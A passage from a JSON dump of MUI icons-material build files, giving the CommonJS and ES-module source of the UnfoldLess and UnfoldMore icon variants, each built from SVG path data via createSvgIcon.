    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.46 5.7-2.47 2.46L9.53 5.7c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.46.7-2.47 2.46L9.53.7C9.14.31 8.51.31 8.12.7s-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0M9.54 23.3l2.47-2.46 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.18a.996.996 0 0 0-1.41 0l-3.17 3.18c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.54 18.29 2.47-2.45 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.18a.996.996 0 0 0-1.41 0l-3.17 3.17c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"2\")], 'UnfoldLessDoubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.46 5.7-2.47 2.46L9.53 5.7c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.46.7-2.47 2.46L9.53.7C9.14.31 8.51.31 8.12.7s-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0M9.54 23.3l2.47-2.46 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.18a.996.996 0 0 0-1.41 0l-3.17 3.18c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.54 18.29 2.47-2.45 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.18a.996.996 0 0 0-1.41 0l-3.17 3.17c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"2\")], 'UnfoldLessDoubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.12 19.3c.39.39 1.02.39 1.41 0L12 16.83l2.47 2.47c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.17a.996.996 0 0 0-1.41 0l-3.17 3.17c-.4.38-.4 1.02-.01 1.41m7.76-14.6a.996.996 0 0 0-1.41 0L12 7.17 9.53 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42l3.17 3.17c.39.39 1.02.39 1.41 0l3.17-3.17c.4-.39.4-1.03.01-1.42\"\n}), 'UnfoldLessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.12 19.3c.39.39 1.02.39 1.41 0L12 16.83l2.47 2.47c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3.17-3.17a.996.996 0 0 0-1.41 0l-3.17 3.17c-.4.38-.4 1.02-.01 1.41m7.76-14.6a.996.996 0 0 0-1.41 0L12 7.17 9.53 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42l3.17 3.17c.39.39 1.02.39 1.41 0l3.17-3.17c.4-.39.4-1.03.01-1.42\"\n}), 'UnfoldLessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDouble.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDouble');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDouble.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDouble');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.53 5.29 12 2.83l2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7.7a.996.996 0 0 0-1.41 0L8.12 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.53 10.29 12 7.83l2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.7a.996.996 0 0 0-1.41 0L8.12 8.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0m4.94 3.42L12 16.17l-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.47 18.72 12 21.17l-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0\"\n}, \"2\")], 'UnfoldMoreDoubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.53 5.29 12 2.83l2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7.7a.996.996 0 0 0-1.41 0L8.12 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.53 10.29 12 7.83l2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.7a.996.996 0 0 0-1.41 0L8.12 8.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0m4.94 3.42L12 16.17l-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.18c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.47 18.72 12 21.17l-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0\"\n}, \"2\")], 'UnfoldMoreDoubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreDoubleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.83 15.17 11l1.41-1.41L12 5 7.41 9.59 8.83 11zm0-5L15.17 6l1.41-1.41L12 0 7.41 4.59 8.83 6zm0 18.34L8.83 18l-1.41 1.41L12 24l4.59-4.59L15.17 18zm0-5L8.83 13l-1.41 1.41L12 19l4.59-4.59L15.17 13z\"\n}), 'UnfoldMoreDoubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.83 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.7a.996.996 0 0 0-1.41 0L8.12 6.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0zm0 12.34-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'UnfoldMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.83 2.46 2.46c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.7a.996.996 0 0 0-1.41 0L8.12 6.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0zm0 12.34-2.46-2.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.17 3.18c.39.39 1.02.39 1.41 0l3.17-3.17c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'UnfoldMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreTwoTone.js",
